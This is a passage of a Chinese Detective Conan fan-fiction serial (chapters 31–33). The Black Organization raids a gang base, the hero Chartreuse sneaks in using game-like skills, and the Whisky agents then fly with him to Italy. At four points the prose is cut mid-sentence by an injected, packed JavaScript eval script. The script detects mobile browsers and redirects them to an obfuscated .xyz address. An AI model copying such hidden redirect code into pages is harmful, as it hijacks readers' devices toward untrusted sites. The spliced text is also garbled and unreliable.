那位泥惨会太子一拍脑袋,说我早就计划好了,那位逆子能够夺位靠的就是二把手中沢手里私自昧下的那一批军火炸药,只要能知道对方把军火藏哪儿了直接炸掉就完事儿。 毕竟这首领位置来路不正,很多人都盼着他下台,碍于火力不足不敢动作罢了。 ……嘛,这就是为什么琴酒带着一班人马准备去闯泥惨会大本营的原因。 “守备意外的充足呢。”波本放下手中的望远镜咂嘴,人手一把枪的阵仗还是挺震撼的。 “毕竟他自己也知道自己的位置来路不正吧——嚯,好货可不少。”莱伊看清了他们手上枪支的型号。 基安蒂好像嗅见了即将飘散的血腥味:“所以今晚我们是不是能够大干一场了?”她的精神开始亢奋,“琴酒!今晚老娘能开枪了是吗!” “听大哥安排吧,基安蒂。”伏特加稍作安抚。 开枪是肯定能开的,想要知道军火的情报就必须接触中沢,但那位逆子为了防止其他人来报复,防卫严得很,潜入进去无论是抓人还是找情报的风险都拉得比双子大厦还要高。 “这个防卫程度都比条子要严密了吧,不知道的还以为里面有哪位高官的违法证据呢。” 波本差点把手里的望远镜捏碎。 麻烦了啊……泥惨会最近闭门谢客,扮成寻求合作的家伙混进去根本不可能……潜入进去?难度又太高,准确来说是潜入时限很短,全身而退的几率很小。 那就只能—— “分成几个小组,从多个方向骚扰分散注意力,波本负责潜入。” “喂喂,不能因为在场的就我一个情报组的就公然欺负我啊。” “基安蒂和科恩负责外部支援,”琴酒没管波本的抱怨,快速分配任务。“莱伊和苏格兰掩护波本。” 这还差不多。波本安分下来。 “伏特加,查清楚了吗?” “监控正在接管,”即使在夜晚伏特加也戴着他那墨镜,“他们的防火墙有点厚,还需要一点时间。” 琴酒皱眉,但他知晓伏特加没有偷懒,只好耐着性子等待。 ——只是这一等就等来了一个意料之外的电话。 他诧异看着来电显示,在其他人若有若无的偷偷关注中摁下接听键。 “什么事。” “[你把苏格兰借走了?]” 这家伙竟然主动联系他……真是稀奇。 “怎么,突然想起来你还在我这儿寄养了一个人?”琴酒瞥了一眼蓝色帽衫的胡茬青年,在对方莫名其妙的眼神中回应了电话。 “夏特勒兹。” 或许是因为他们同样毕业于训练营,或许是因为能够跟得上自己的战斗意识,又或许是因为夏特勒兹是组织里罕见的精神不太稳定但情绪超常稳定的家伙, 他和夏特勒兹的关系算不上好,但夏特勒兹确实是组织里罕见的、他能与之和谐相处的家伙。 “[……你还会讲冷笑话啊。]”电话那头的夏特勒兹正了正神色,虽然那令人讨厌的电子音还是那种古井无波的语气。“[我找你借一下威士忌组。]” “你还没出发?” 琴酒的情报并不滞后,他七天前就知道意大利那边出了点岔子,见事情久久未能解决,那位先生早就下达命令让夏特勒兹前去看看到底怎么个事儿。 “[在那群废物的操作下他们把篓子捅得更大了,我得过去救场……我查了下那边的人,没几个能用的,只能找你借人——朗姆那边我跟他打过招呼了,你这边……]”电话里的声音顿了顿,“[等等,我记得你今晚有任务?]” 琴酒哼笑一声算是回答。 “[麻烦了啊……我机票都订好了。]” 电话那头的诸伏清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969094|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅苦恼地抓了抓头发。 他是真的服了,国外的组织事务他两年前就放权交回给boss,但只是短短不到两年时间,那群接手的家伙就能把他打理好的一手好牌打得稀烂。 就像码农辛辛苦苦修完bug结果被人删了几行代码导致电脑死机、打了多年的游戏被人删了存档、攒了许久的抽卡资源被人手贱全部投进普池、憋出来两万字论文结果忘记保存、限量版手办被人摔坏一样恼火且哀莫大于心死。 天杀的一群傻*队友!他就说打工是没有前途的!就连酒厂这种犯罪组织都逃不过猪队友与废物同事的制裁! 虽然他并不是全心全意为组织工作(不,他是完全不乐意),但这么多年来经营的心血被人这么霍霍,诸伏清浅一时间真的很想甩手不干。 别和他扯什么钱难挣屎难吃,酒厂又不是什么正经企业,他想搞钱简直比吃饭喝水还要简单,他现在的工作内容只能用“找屎硬吃”来形容。 此时此刻诸伏清浅与原著琴酒狠狠共情,为原著劳模狠狠掬了把同情泪。 但很可惜组织没有辞职按钮。 琴酒,这么多卧底叛徒二五仔你还能兢兢业业干活,你是真的对组织爱得深沉。 电话另一头的琴酒不知道清浅在感叹他的伟大忠心,但他突然觉得好像有谁在用冰块擦他的背。 “这样的话,做个交易吧。”琴酒眯眼,决定把同事拉下水。“你帮忙把任务做了,做完就直接把你要带的人带走。” 事实上这个任务他第一时间想到的人就是夏特勒兹,其次是贝尔摩德。但因为听闻夏特勒兹接了boss的命令,他也不好在这个时候找人帮忙。 贝尔摩德?他联系不上那个讨厌的神秘主义。 谁曾想两人的任务这么刚好的就撞在一起了呢? “就当我欠你一次。”/“[就当你欠我个人情。]” 欠人情就欠人情吧,毕竟两个任务都是boss授意下达的,把boss下发的任务尽快搞定才是第一要务。 ……这还是头一次见琴酒主动欠人人情。 琴酒无视其他人好奇的视线,朝伏特加道:“把监控范围和内部地图确定下来。” “……啊?”不是已经把监控破解了吗为什么还要搞这些……啊。 伏特加先是一愣,然后反应过来这熟悉但显得麻烦的工作。 这个要求,只有那个人才会提吧。 “夏特勒兹半个小时后到。” * 伏特加:“……所以大哥,这次行动我们是稳了吗?” 花了些时间确定对方的布防地点以及规律,琴酒亲自查看了一次,评估了一下这次行动对夏特勒兹的难度。 “哼……” 许久,琴酒将相关情报导出发送,看向推开天台门的蒙眼青年,对方手上的手机恰好发出“叮”的邮件提示音。 如果这次行动的潜入难度对普通人来说如双子大厦一样高的话,那么对夏特勒兹来说难度就像被撞后的双子大厦——难度在他那里根本不存在。 “这是他擅长的领域。” 31.潜入 夏特勒兹。 没想到这次行动还会新增参与人员。对此莱伊感兴趣地吹了声口哨,波本警惕于突如其来的变数,苏格兰则意外于自家的家里蹲上司竟然会来这次行动中掺和一脚。 “夏特勒兹大人也要来参与这次任务吗?”很快就把夏特勒兹与和琴酒打电话的人身份对上,波本露出一个标准微笑。“没想到这次任务出动了这么多代号成员。” 如果能够在这里一网打尽就更好了。他有些可惜地想,但这次行动出动的人太多也太过重要,公安连提前布置都不行——时间太短,嫌疑太大,很容易暴露身份。 “可夏特勒兹大人不是有国外的任务吗?我今早看见他在安全屋里翻证件了。” 波本警觉:等等,所以hiro你现在在和夏特勒兹住同一间安全屋吗。 诸伏清浅没有理波本。 他现在真的快要烦死了,被糟心的工作折磨的素质降低,情绪糟糕的他决定忽视公安头子暗戳戳的试探,伸手找琴酒要情报。 “[摄像头还有耳麦,目标是二把手中沢手里军火的位置对吧?]”他戴上耳机开始听文字转语音的情报,“[找资料还是抓人问?]” “资料的可能性不大,但我不介意多抓一些他们的把柄——直接抓人问。” “[成,我只帮你问,剩下的收尾工作你自己来。]” 几次搭档下来形成的默契让他们的对话变得高效简洁,虽然诸伏清浅不愿意承认,但琴酒确实是一个非常让人安心的靠谱搭档。 他悲催地发现自己对猪队友的怨怼因为琴酒的靠谱而消减不少,检查完毕身上的装备后将微型摄像头别在领口,他和银发杀手打了个招呼。 “[走了,监控你来负责。]” 青年扭头就走,蒙眼黑布的末端随着他的动作在空中划出一道潇洒的弧线。 * 防卫确实很严格。 诸伏清浅躲在灌木丛后面,仔细倾听着不远处的动静,意念则调动系统地图开始观察形势。 方圆两百米的实时定位与地形扫描被他缩放成小地图,放在视线的角落……不对他看不见,直接居中也行。 弹道预测开启,视野区域监测开启…… 看着地图上的白色定位向外扩展出一个浅红色的扇形范围,诸伏清浅胸有成竹地微微勾唇。 人类的水平静态视野大概为180-200度,垂直则大概为120-135度,其中上方只有50-60度——在伏特加负责挡住监控的上帝视角后,卡视野这种事情的成功率就提高了许多……当然,这是对清浅来说。 【技能:敏捷MAX,速度MAX,耐力MAX,听力MAX,隐匿MAX,轻功MAX,伪装MAX,身法技巧MAX,偷盗技巧MAX,潜入技巧MAX,撬锁技巧MAX,轻型武器MAX】 系统的刻录技能给了他嚣张的资本,借着建筑的阴影,他悄声逐渐接近据点,在必要的时候从裤兜里掏出一把石子——那是他刚刚在路上顺手捡的,往远处一抛吸引注意力,卡着守卫的视野盲区趁机溜进作为据点的建筑群。 “[目前一切顺利。你知道目标在那个地方吗?里面的人还不少。]” 夏特勒兹的手机早就接进通讯频道,无机质的电子音在众人耳边响起。 “可能性最大的应该是最里面的房间。”波本手上翻着搞来的地形图回答道。 “[……这是什么闯关打boss游戏?把目标放在最后一关什么的。]” 在天台上的众人看着监控里在走廊上悠闲散步打字的青年,一时间竟然不知道该吐槽哪个先。 你在潜入!潜入啊喂!为什么你这么悠闲! 下一秒,众人就看见拐角的监控处,蒙眼青年刚拐进去,他原先走过的走廊尽头刚好出现两个巡逻人员的身影。 “咦?” 巡逻人员A似有所感地扭头看向拐角处,引起同伴B的注意。 “怎么了?” “我刚刚好像看见……有人?” 他迈步上前查看,却发现拐角后的走廊空空荡荡。 “值班还没睡醒呢,这里怎么可能有人进来。”巡逻人员B吐槽了一句,继续沿着巡逻路线慢慢前进。 明明刚才好像看见一片衣角的来着……巡逻人员A迷惑地挠挠头,该不会真是他没睡醒出幻觉了吧? 姑且算是过关。 另一处拐角,听着逐渐远离的脚步声,诸伏清浅在心里悄悄松了口气。 虽说伏特加会处理好监控的事宜,但也不意味着自己需要警惕的部分减少了。 继续迈步,他一边听声辨位,配合着系统的小地图绕开一波又一波的巡逻,将卡视野的游刃有余展现得淋漓尽致——甚至有一回他光明正大地从两名守卫身后走过,在他们有所察觉之时早早就让身形隐没在拐角。 “还是老样子啊,仗着天赋把潜入当散步的家伙。”琴酒无视一旁删监控删得不知天地为何物的伏特加,“也不怕哪天翻车。” “[需要我提醒你一句吗,我可是潜入记录的保持者,就算你现在再去测也打破不了我的记录的哦。]” “闭嘴吧你。” 啊,意外的行动……不是守卫。 诸伏清浅从与琴酒的扯皮中回神,敲了下耳麦表示有情况,侧耳仔细收集细微的声音。 空调运转的声音,不远处巡逻守卫的声音,自己呼吸的声音,还有……还有几道极为细小,但让他感觉不太妙的脚步声。 很小声,但在逐渐靠近……距离?距离不太对,离自己很近但听声音又不像是常人能发出的脚步声……隔音? 扫了眼系统小地图,清浅的想法得到证实。 众人只看见屏幕中的青年突然停下来,短暂片刻后后撤一步蓄力然后瞬间爆发,如同轻巧敏捷的鸟儿,三两下就借助两旁的墙壁翻上天花板的角落。 “他这是在做什么?”基安蒂不解。 就在诸伏清浅像蜘蛛一样黏在天花板的下一刻,他一旁的整面墙壁陡然翻转,露出里面黑暗的通道,以及几人的谈话声。 “暗道?!”伏特加在替换监控的中间休息时间段抬头,就看见监控里的突发状况,连忙调出他们查到的内部结构图猛瞅。 可结构图上根本没标注。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984655|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “看来这是他们私底下建造的。”波本的脸色不太好,因为结构图是身为情报贩子的他想办法弄到手的,就算被及时补救,但出了这种岔子还是让他感到一种偏离计划的不爽。 “不过这也得亏夏特勒兹的反应力强。”看着监控里夏特勒兹流畅的动作,莱伊指尖捏了捏。 这是在他妈的拆我的台吗。波本额角爆出不存在的十字井号。 莱伊现在有些兴奋,是遇到劲敌、想要挑战一下的那种跃跃欲试,惹得他现在想要摸出烟盒来一根。 “不对,不是反应快……直觉?还是听到的?” “这也能,听到吗。”科恩难得发言。 就算声音经过无线电的二次传播变得不那么清晰,但接收处的他们通过耳机还是能够通过声音辨别定位出敌人的位置,但刚才—— 直到暗道打开,他们才听见若隐若现的谈话声,显然暗道被做了隔音处理。 “应该…可以?”苏格兰不太确定。 琴酒深吸一口气:“那家伙能仅凭听力在25米移动靶中打出不错的成绩——”意思就是这种程度不值一提。“夏特勒兹,直接问。” 不用你废话。 诸伏清浅在频道内基安蒂“那真的是仅凭听力就能做到的地步吗?!”不可思议的惊叹声中悄声无息地松手,落地后以一个极快的速度用手刃劈晕几人,然后从背后捂住最后一个清醒的家伙的嘴巴。 一声尖叫被人压在喉咙里要叫不叫,后腰熟悉的顶撞感让他乖顺地举起双手。 “中沢在哪里。” 耳朵被塞入一枚耳机,男人的声音低沉宛如恶魔的低语在他耳边炸响,让他寒毛瞬间竖起。 在里世界混出来的识时务让他果断做出能够保命的选择。 “……在,在暗道尽头的房间。” * “[……他是不是在耍我?]” 夏特勒兹从琴酒的片刻沉默无指挥中得出结论,但男人已经被他打晕捆好扔在暗道里,现在回去把人摇醒再问就显得不太现实了。 琴酒通过夏特勒兹身上的微型摄像头看着暗道尽头的走廊 以及走廊两边的数扇门陷入沉默。 “地形已经和结构图完全对不上了,从进入暗道开始。”苏格兰对比着结构图,“不过尽管改动很大,但还是能从中推理一二。” “所以先走哪一个?”伏特加疲惫。 结构图的参考度下降意味着他删监控的速度上升、容错率大幅度下降。 “直接去最里面的。”随便赌一个先。 然后在确认门后没有特别的声音后夏特勒兹打开门,却仍没听见琴酒的下一步指示。 琴酒在干嘛?通讯延迟吗怎么不说话。 ……嘛,不只是琴酒,其他看着屏幕的代号成员都不约而同地卡了一下。 那扇门后面,根本不是房间,而是两条不知通向何处的走廊。 琴酒&其他代号成员:…… 早就从小地图知道这个结果的诸伏清浅:…… “不是,他有病吧?” ……谢谢你基安蒂,你就是我的嘴替。 32.下一个任务 虽说狡兔三窟明修栈道暗度陈仓,但宁把一个据点修成迷宫是不是过于…? 可他刚才才打晕了几人,时间一长总会被人发现不对,现在他们的时间已经进入了倒计时。 必须加快速度了。 诸伏清浅打起精神,加快了行动速度。如今他已经潜入比较深的区域,守卫的数量大大减少,时间虽短但也足够他根据小地图上的定位开始一个一个排查过去。 你问我会不会太过显眼?跟我的超绝听力说去吧(战术后仰 [没有点特殊能力怎么在组织混.jpg] 开门,捂嘴,等琴酒确认身份,不是就打晕捆好,然后接着下一个。 你说我这跟强盗有什么区别?笑话,我一没偷二没抢,问个人罢了,且沿途没人发现我的踪迹(发现的都打晕了),这妥妥的就是潜入! “[我讨厌违章建筑。]”夏特勒兹在频道内吐槽,在据点内七拐八拐,然后突然在一处走廊停下脚步。 等等…… 他看着系统的定位,不确定地放大地图。“[琴酒,你确认这里没有其他路线了吗。]” “现在结构图没用。”琴酒瞥了一眼报废的结构图。 “[好吧……那根据我的判断,我们的位置贴近了——而且用的是相同的伎俩。]”他嘴角一勾,看向一旁的墙壁。 妈的,可恶的老鼠,总算逮到你了。 监控里,青年从怀里掏出手枪,安上消音器然后上膛,右手触碰墙壁。 咔哒,机关被触发,墙面开始翻转。 只见夏特勒兹冲进去,观看监控的人尚未看清对方是谁,那人就已经被夏特勒兹一个利落的回旋踢击倒在地,快速制服卸下四肢,尖叫被塞入口中的枪管堵住。 “[这次没有抓错人了吧,琴酒。]” 那人看着蒙眼青年居高临下地压着他,无机质的电子音威压尽显。 “[晚上好,中沢先生,想必您知道我在这里的原因。]” * “快,入侵者在这里!” 被打晕在暗道的可怜人士终于被发现,但现在覆盖监控已经没有意义,因为夏特勒兹已经拿到需要的东西。 “下一个岔路口左转。”在诸伏清浅跑回结构图上有记录的区域时,伏特加根据监控反馈的情况给他提供路线导航。 你是想我死吗伏特加,左边拐角六个人诶! 时刻关注小地图的诸伏清浅咬牙,转过拐角后加快速度,在敌人还没反应过来举枪时一踩墙壁表演了个飞檐走壁,从他们上方飞过,落地一个翻滚加滑铲,躲过了头上飞舞的子弹。 “下一个,右拐。” “啧!” 右拐更多人!伏特加你完全可以去COS缺德地图了! 无法发出声音但还是可以用咂嘴表达自己差劲的心情,夏特勒兹恼火地一个猛冲,直接撞碎走廊尽头的窗户往下跳,在外面树枝的缓冲下算是安全地到达地面。 两点之间直线最短,这迷宫据点他是不奉陪了。 一个走位躲开背后的射击,诸伏清浅点亮手机的屏幕。 “[接下来的事情你能搞定的吧,琴酒。]” “你还是管好自己吧。”琴酒合上伏特加的电脑,转身离开天台。“基安蒂、科恩,跟上。威士忌们听夏特勒兹指令。” “[人能给我了是吗,那威士忌们自己想办法去机场,羽田机场。]”平静的电子音在枪声的背景下响起,“[很抱歉没有休息时间,机场集合,我会和你们一起执行下一个任务。]” * “一个小时后的飞机,这么赶?!”才堪堪赶到机场,查看机票上的航班信息后波本惊愕——他刚到机场就听到了他们的航班的登机提醒。 好极限的卡点。 对此苏格兰觉得他有必要解释一下:“夏特勒兹确实习惯踩点,但这次应该不至于……”吧。 莱伊侧目:“他真的没翻车过吗?” 目前好像还没有呢。苏格兰沉默微笑。 “[就算翻过车我也不会告诉你的。]” 熟悉的电子音响起,一个穿搭十分时尚的青年朝他们走来。 “……夏特勒兹?”苏格兰看着对方,有些不确定道。 若不是电子音太过具有标志性,身为下属的他也很难认出对方就是自己的上司。 青年白衣黑裤,单肩背着一个黑包,原本随手一拢的长发被抓成凌乱但层次感丰富的发型,脸上戴着一副遮住小半张脸的墨镜,嚼着泡泡糖和三瓶威士忌打了个招呼。 苏格兰甚至留意到夏特勒兹墨镜后的双眼一直是闭着的。 哪儿来的酷炫拽city boy……不对,一个小时前你还不是这个装扮啊?! “您搞定追兵了?”快要撤离时苏格兰留意了一下,追着夏特勒兹跑的至少有十多人,且人人配枪。 “[当然搞定了,]”夏特勒兹在他面前转了一圈,“[而且无伤速通——你什么时候也能做到这个地步就算你出师了。]” 看出来了,你甚至还有精力去换个装——顺带一提,这个要求是不是太过分了? “[我的装扮很奇怪吗?一些必要的伪装而已,不许有意见——拿到机票了就直接登机吧。]”夏特勒兹将路上便利店买的巧克力丢入口中补充血糖,“[看来我算的时间刚刚好,到点直接上飞机——巧克力要吗?我原本计划到了地方再吃饭,还是说你们打算吃飞机餐?]” * 航班的目的地是意大利。 不得不说,意大利的□□文化成熟,势力庞大盘根错节,因此各种见不得光的业务都有一套相对稳定的运营机制。 枪支弹药这种武器都由国家监管,组织想要搞到些资源除了在本国渗透相关部门挪用,就只能从外面走/私——他们会和泥惨会抢走私线、来到意大利这个里世界庞大的国家谈合作的原因就是如此。 “[组织一直都有与这边的黑手党家族合作,但黑吃黑这种东西总是屡见不鲜。]” 下了飞机,夏特勒兹提前安排好的底层人员驱车前来准时接机,载着几位代号成员抵达一处组织名下的安全屋。 “所以这次的任务和他们有关,”波本和另外两瓶威士忌一进安全屋就光明正大地开始排查不该出现的小东西,“看来我们的合作伙伴需要一点帮助?” “[太过委婉了波本,科斯塔家族对里奇家族势在必得,组织反应过来的时候里奇家的劣势已经难以扭转,更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005568|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用说……]”他顿了顿,转头问尚未离开的底层人员:“[负责这件事且把事情搞得一团糟的废物是谁?]” “是蓝布鲁斯科(Lambrusco),夏特勒兹大人。” “[好吧,蓝布鲁斯科。介于蓝布鲁斯科那不太灵光的脑瓜子,组织在这场黑吃黑中被当枪使了,因此现在——]” 莱伊检查一遍后确定了这里并没有窃听器,一直留意夏特勒兹透露的任务信息的他接话:“原本与组织合作的里奇家已经失去了价值,我们需要换一个合作伙伴。” “[对,毕竟科斯塔家吞并了里奇家的业务……那就别怪原本的客人找上门了。]” 诸伏清浅点到即止,止住话头。他原本收到的消息精炼概括后也就这么回事儿,但更详细的情报和细节都需要他与在这边留下的情报网同步信息后才能梳理,事已至此他反倒不着急。 这会儿里奇家已经被科斯塔家吞并,翻不起什么风浪。组织想要自动续业务的话只需落井下石,帮着科斯塔家把里奇家彻底踩死稳固势力就成,业务什么的等对方安定下来谈也不迟。 总而言之,他们有很长一段的摸鱼时间……咳,绝对不是他ddl战士的自带buff影响。 “[所以你们要出去觅食吗?我记得这一带有几家很不错的餐厅……如果现在还没倒闭的话。还是说你们想买食材回来自己煮?附近有超市。]” “任务不急吗?毕竟您这么急着把我们从琴酒那里要来。” “[急的是机票和航班时间而已,]”诸伏清浅理直气壮,“[事已至此先吃饭吧,反正都决定放弃里奇家了。]” 出于对陌生环境的考虑,在确认安全屋距离超市比餐厅更近后威士忌们决定买菜回来自己做饭。 可恶的莱伊有女朋友做爱心便当,故他本人就是个做饭苦手,在波本的呛声中被赶出门采购; 结果莱伊倒打一耙,表示波本也不怕他买些奇奇怪怪的东西回来,不如一起去。 作为调和剂的苏格兰深知这两人待在一起总会吵架的毛病,自告奋勇和莱伊一同前往,惹得波本更加不爽—— 放着hiro和那个混蛋犯罪分子一起出门总让他不放心,但他和hiro出去,又觉得莱伊啥也不做,坐等吃饭让他超级不爽。 最后还是苏格兰勉强安抚下波本,拎着钥匙出门:“有什么想吃的吗?” 耐着性子的金发青年闷闷地说:“我都可以,苏格兰你看着来就是。” “夏特勒兹呢?” 我吗? 先前在安全屋怕被发现不对劲、死活不肯吃苏格兰的饭的夏特勒兹:“午饭不用预我。” 苏格兰微笑:“您该不会又想用压缩饼干将就吧?” 夏特勒兹:“……” “既然是您提的先吃饭,就请不要因为待办事项而随意应付午饭啊。” “[……好吧,我不挑,咸口就行。]” 房门关上,屋里只剩下波本和夏特勒兹两人。 “[那么,在他们回来之前,我们先做一些准备工作吧。]”夏特勒兹转身,从书房里搬出笔记本电脑打开。 “[兵马未动,粮草先行*,情报工作需要做的事情多的去了。]” 33.天大地大 这还是波本头一次与夏特勒兹共事。 组织的任务大部分都是情报组单纯提供情报,拿到情报的行动组直接莽上去。 威士忌组共同执行任务的次数不少,但两位狙击手搭档、情报贩子独狼行动的时候还是占多数。 降谷零虽说答应了hiro去调查夏特勒兹,但他在组织里晃悠这么久,还真是半点有用的情报都没捞到…… 如果情报组成员与财务管理夏特勒兹撕逼、惨败后每次报销都得按流程填财务单子这件事算情报的话。 咱都犯罪组织了为什么报销还要走财务审核的流程?对此为组织捞钱力尽心尽力的琴酒和前·负责报销审核的罗马纳有话说。 罗马纳(冷笑):你也不看看那些情报组的家伙的账单有多离谱,还美名其曰打探情报的必要花费。 米其林餐厅?拍卖行?兜里几个子儿啊这么拽,最后你是爽完了,账单传到我这儿老娘不批你就等死吧:) 但即使是偶尔与hiro的情报交流,谈及夏特勒兹,诸伏景光还是忍不住头疼——最近一段时间最甚。 “我大概知道为什么zero找不到夏特勒兹的情报了,”在与夏特勒兹成为舍友后的其中一天,偷偷来幼驯染打工的店找人的诸伏景光借着点单的幌子偷偷和降谷零吐槽。 “因为夏特勒兹就是一个家里蹲,根本不怎么出门。” 即使发着烧,青年也被线上事务折磨得一天下来才堪堪做完,忙完倒头就睡,连吃饭都是啃压缩饼续命。 有时候管理层确实比他们这些行动人员忙——好歹他们狙击手并不是天天都有任务,波本甚至开始学贝尔摩德玩神秘主义了都。 对此夏特勒兹有话说(划掉)疯狂造谣:哈哈,这下知道为什么朗姆是光头了吧?因为秃头不好意思说出去所以干脆剃光了(开朗的语气) 咳,扯远了。 波本回神,就看见夏特勒兹在电脑上噼里啪啦敲了一阵(等等你一个瞎子为什么能够无障碍使用电脑),然后将屏幕转向他。 “[我把我的情报网权限暂时开放给你,请发挥你的实力,波本。]” 波本挑眉:“这么大方?直接给我权限你也不怕我借此偷偷做点什么。” “[疑人勿使,使人勿疑*,相比受身体条件限制的我,我认为这次任务中你更适合负责情报信息……至于情报网,总比你从零开始收集情报更快。]” “[当然,想要吞并掉我的情报网的话请自便——如果你有能力的话。我并不反感有能力与野心的人。]” “即使我是朗姆大人的手下?” “[能力不分派系,归根结底大家都是在为组织与那位先生效力。朗姆……虽然我与他有些过节,但不得不否认在他手下你能拥有一个充分展现能力的舞台。]” 金发青年挑眉接过电脑:“我就当您是在夸赞我了。” “[实话实说罢了。当然,我能给的忠告也就一句——不要搞错你的效忠对象就行。]” “当然。” 意外的开明呢,如果是在普通公司,夏特勒兹这种上司真的会大受欢迎。波本收敛心绪,开始查看这次任务的情报。 不得不说夏特勒兹的情报网很庞大详细,也很有条理。一条条情报在紫灰色的虹膜上流淌而过,经过筛选后编织成一条明确的时间线供他观测。 科斯塔家对里奇家的预谋大概从半年前就已经开始,一桩桩微不足道的小事在上帝视角的观测下变成埋在地下的地/雷,只待时间一到全部引/爆。 许久,他才长舒一口气,拉伸了一下有些僵的肩背。 “[看完了?]”夏特勒兹似乎从假寐中醒来,察觉到他的动作问了句。 “不得不说,这还是我头一次打这么富裕的仗。”波本调侃了一句。 “[有用就行。]”只见夏特勒兹站起身走到门口,“[时间刚刚好。]” 波本疑惑,下一刻就见到夏特勒兹打开门——片刻后他看见苏格兰和莱伊提着装满食材的袋子进了门。 “谢了,夏特勒兹。”苏格兰进门将食材放进厨房,“省得我找钥匙开门了。” “这是怎么做到的?预判时间吗?”波本合上笔记本起身,前往厨房帮忙。 “[没那么玄乎,我听到了他们的脚步声而已。]” 这也很玄乎好吧,他可是什么都没听见。 沙发上,身侧的人从波本换成了莱伊。夏特勒兹缩在沙发里双手合十哈气——最近意大利气温有点低,他已经有了点感冒的前期症状。 ……希望景光哥不要发现。 “[你不去帮忙?]” 莱伊耸肩:“波本嫌我捣乱。”过去帮忙只会挨一顿阴阳怪气。 “[这样啊……你们的关系还挺好的嘞。]” 关系,好。 莱伊深以为然地点点头:“我也这么觉得。” 不……这只是调侃,赤老师您的自我感觉竟如此符合原著设定,完全不ooc啊。 “那你不去帮忙?” 诸伏清浅(指着自己):啊?我? “[……这是玩笑是吗。]” 您也不怕瞎瞎我把盘子摔咯。 “是的。” “[那你可真幽默。]”算不上地狱,只能说还蛮符合美式幽默的。 * “[いただきます(我开动了)。]” 双手合十的瞬间电子音适时响起,惹得其余三人注目。 夏特勒兹用叉子卷意面的动作一停,迟疑地歪歪头,试图用行动表达“怎么了吗”的疑惑。 “……不,没什么,只是没想到夏特勒兹您也会这样说。”苏格兰同样双手合十低念,完毕后眉眼弯弯:“我还以为您是那种不拘小节的类型呢。”毕竟以前都是随便啃啃压缩饼将就。 “[这是吃饭前的用餐礼仪吧。]” 倒是可以看出夏特勒兹是个纯正的日本人……或许不是,只是有人教过他?但夏特勒兹从小在组织长大……等等组织会教这个吗?还是说这个是他进组织前被他人教导的习惯?父母? 即使是吃个饭,依旧在疯狂收集情报呢波本君。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020048|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一顿既不算午餐又不算晚餐的饭算不上丰盛,但量大管饱,又经过苏格兰这一位大厨的美味buff加成,众人都吃得很尽兴。 降谷零是一直知道幼驯染做饭好吃,莱伊则是自觉蹭了夏特勒兹的光才再一次有幸尝到苏格兰的饭——毕竟之前威士忌组当室友的时候波本总拿“你都有女朋友了为什么不去找人家吃饭”作理由不让苏格兰煮他的饭。 诸伏清浅?叉子触碰舌尖的瞬间他就知道自己要糟。 人的味蕾是有记忆的,只是有些味道还可以重温,有的味道早已失散,真的成了回忆。 意面只是普通的意面,但酱汁无疑是整盘意面的灵魂所在。苏格兰并没有使用意面自带的预制酱料包,而是买了材料回来自己做酱汁。 那似乎是他的独家配方,新鲜番茄的酸甜与精选肉沫的醇厚交融,释放出令人垂诞的香气。时蔬与香料的点缀让味道更上一个层次,每一根劲道爽滑的面条都吸饱了酱汁的精华,一口下去开胃又过瘾。 很好吃。 ……也很熟悉。 他原以为他早就忘记了那些味道,就像褪色的老照片一样模糊不清了,但那一口熟悉的味道——即使并不是百分百复刻,他也不得不承认:就算含量只有零点零零零零几,他也能重新想起那种味道。恍惚间仿佛穿越时光,重新回到家里的餐桌前。 训练营里他吃过最多的是寡淡无味的营养剂,拿到代号后在外混,发馊的面包,地上的污水,条件差的时候为了活下去什么都吃过。 摸滚带爬地拼到如今还算安稳的地位,为了犒劳自己他不是没去好吃好喝搓几顿(虽然第一次因为吃的太好反而给胃造成负担,进医院躺了一个星期)。 他原以为他对食物的适应性已经足够高,吃饭在他这里已经逐渐变成填饱肚子、补充能量的必要程序,可当苏格兰问起,他还是鬼差神使地捡回了小时候吃饭的口味。 